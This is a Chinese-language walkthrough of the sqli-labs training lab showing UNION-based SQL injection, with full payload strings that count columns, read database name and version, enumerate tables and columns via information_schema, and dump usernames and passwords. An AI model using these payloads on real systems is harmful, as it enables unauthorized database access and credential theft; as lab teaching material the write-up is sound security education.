文章目录
- 判断是否存在SQL注入点
- 联合查询(两表之间列数必须相同)
- ①首先明确表格有几列,如果报错就是超过列数,如果显示正常就是没有超出列数。
- ②爆出显示位,了解表格中的哪一列是在页面显示。
- ③获取当前数据名和版本号,涉及MySQL的一些函数。
- ④爆表
- ⑤爆字段名
- ⑥爆账号密码
判断是否存在SQL注入点
进入sqli-labs后提示输入ID作为参数
这里分别输入?id=1
和?id=2
进行测试可以看到以下界面:
根据结果可判断出该注入为字符型注入,且该页面存在回显,所以我们可以使用联合查询
在进行安全测试时,我们可以通过特定的方法来判断网页是否存在SQL注入漏洞,特别是区分字符型和数字型注入:
- 数字型注入测试:
- 首先,尝试使用查询参数
?id=1 and 1=1
访问页面。如果页面显示正常,并且与原始页面无异,这表明SQL查询可能正常执行。- 接着,更改查询参数为
?id=1 and 1=2
。如果此时页面报错或部分数据显示异常,这通常意味着SQL查询条件被正确解析,且页面对条件的真假值有反应。这种情况下,我们可以推断存在数字型SQL注入的风险。
- 字符型注入测试:
- 同样,先使用
?id=1' and 1=1--+
作为查询参数访问页面。如果页面能够正常显示,并且与原始页面保持一致,说明SQL查询能够处理引号内的特殊字符。- 然后,将查询参数改为
?id=1' and 1=2--+
。如果页面此时出现错误或数据展示不完整,这通常意味着SQL查询在处理引号内的特殊字符时遇到了问题。这可能表明存在字符型SQL注入的漏洞。
通过以上测试,我们可以较为准确地判断出网页是否容易受到SQL注入攻击,并识别出注入的类型。这种测试方法有助于开发人员在设计和维护网站时,采取相应的安全措施来防范潜在的安全风险。
联合查询(两表之间列数必须相同)
①首先明确表格有几列,如果报错就是超过列数,如果显示正常就是没有超出列数。
?id=1'order by 3 --+
通过改变SQL语句,经测试发现此此表有3列。
②爆出显示位,了解表格中的哪一列是在页面显示。
?id=-1'union select 1,2,3--+
③获取当前数据名和版本号,涉及MySQL的一些函数。
?id=-1'union select 1,database(),version()--+
通过结果可知当前表所处的数据库是security,版本是5.7.26
④爆表
在MySQL数据库中,
information_schema
是一个特殊的数据库,它包含了关于MySQL服务器上所有其他数据库的元数据。这些元数据包括了数据库名、表名、列名、索引信息等。information_schema
是一个信息库,它提供了一种查询数据库结构的方式,而不需要访问实际的数据。
在SQL注入攻击中,攻击者可能会尝试利用information_schema
来获取数据库的结构信息,例如:
table_schema
:数据库名。table_name
:表名。column_name
:列名。
攻击者通过构造特定的SQL查询,可以查询information_schema.tables
和information_schema.columns
来获取所需信息。例如:
SELECT table_name FROM information_schema.tables WHERE table_schema = '数据库名';
这条查询会返回指定数据库中所有表的名称。
SELECT column_name FROM information_schema.columns WHERE table_schema = '数据库名' AND table_name = '表名';
这条查询会返回指定数据库和表中所有列的名称。
为了防止这种风险,应该采取适当的安全措施,比如限制对information_schema
的访问权限,对数据库进行定期的安全审查,以及使用参数化查询来防止SQL注入。
?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
通过结果可知当前security库下有四张表,并且users表最有可能存放用户信息
⑤爆字段名
?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
查询information_schema数据库下的columns表里users的列名:
⑥爆账号密码
?id=-1' union select 1,2,group_concat(username ,id , password) from users--+
这样就爆出各个用户的账号密码了